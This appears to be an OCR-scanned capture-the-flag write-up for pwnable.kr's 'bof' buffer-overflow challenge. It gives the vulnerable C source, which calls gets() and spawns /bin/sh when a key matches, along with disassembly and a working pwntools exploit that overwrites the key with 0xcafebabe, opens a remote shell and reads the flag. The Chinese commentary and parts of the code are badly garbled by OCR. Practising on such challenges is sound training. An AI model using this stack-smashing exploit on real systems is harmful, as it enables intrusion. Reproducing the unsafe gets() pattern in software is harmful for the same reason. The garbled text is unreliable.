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Nana told me that buffer overflow is one of the most common software vulnerability.

Is that true?

Download : http://pwnable kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

7 5] "~ http://pwnable.kr/bin/bof.c 15 £ ALY

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == @xcafebabe){
system("/bin/sh");

}
else{
printf("Nah..\n");
¥
}
int main(int argc, char* argv[]){
func(@xdeadbeef);
return 0;
}
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.text:0000062C public func
.text:e0880862C func proc near
.text:0800062C

; CODE XREF: main+lelp
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.text:0880862C s
.text:0000062C var_C

byte ptr -2Ch
dword ptr -8Ch

.text:e000062C arg © = dword ptr 8

.text:0000062C

.text:eee0062C ; _ unwind {

.text:00880062C push ebp

.text:00080062D mov ebp, esp

.text:0000062F sub esp, 48h

.text:000800632 mov eax, large gs:14h

.text:00000638 mov [ebp+var_C], eax

.text:0000063B xor eax, eax

.text:eeeee63D mov dword ptr [esp], offset s ; "overflow me : "
.text:00800644 call puts

.text:00000649 lea eax, [ebp+s]

.text:00008064C mov [esp], eax ; S

.text:0000064F call gets

.text:00000654 cmp [ebp+arg_©], @CAFEBABEh

.text:00000658B jnz short loc_66B

.text:ee800865D mov dword ptr [esp], offset command ; "/bin/sh”
.text:00800664 call system
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wxy@ubuntu:~$ checksec bof
[*] '/home/wxy/bof'
Arch: 1386-32-1ittle
RELRO: Partial RELRO

Stack:
NX:
PIE:

canaryfR3 B2 K H 1)

K ycanaryff) ok 2, B E It A AR T A, I SRAS SR g i JC VA RE H Bl key Uik A ERES
MHER W] LTS MT 0 21, B i o it Skey ) o bk fO B 22622 717, RF 527173878, #in_I-OxcafebabeRI 7T .
1 T-Oxcafebabe L 745 Ja AT WF AT, ikl AT, 7T DM Bpwntools kg 5 A ARG . FI AR T -




from pwn 1mport =
c=remote("pwnable.kr",9000)

c.send( "AAAA"*13+p32(0Oxcafebabe))
c.interactive()

P32 Hrk Oxcafebabe % 1 h\xbe\xba\xfe\xca, th 7iJ L B 5 1l \be\xba\xfe\xca
interactive bR 2 T B AWLAS B, HUGshel B BRf5, 180 FH b ki

PAT B A 5 BRI AT 45 3 shell

wxy@ubuntu:~/Deskte zzS python haha.py

[+] Opening connection to pwnable.kr on port 9680: Done
[* i Switching to interactive mode

f# Fil v 4-cat flag?5 #iiflag

cat flag

daddy, I just pwned a buFFer :)
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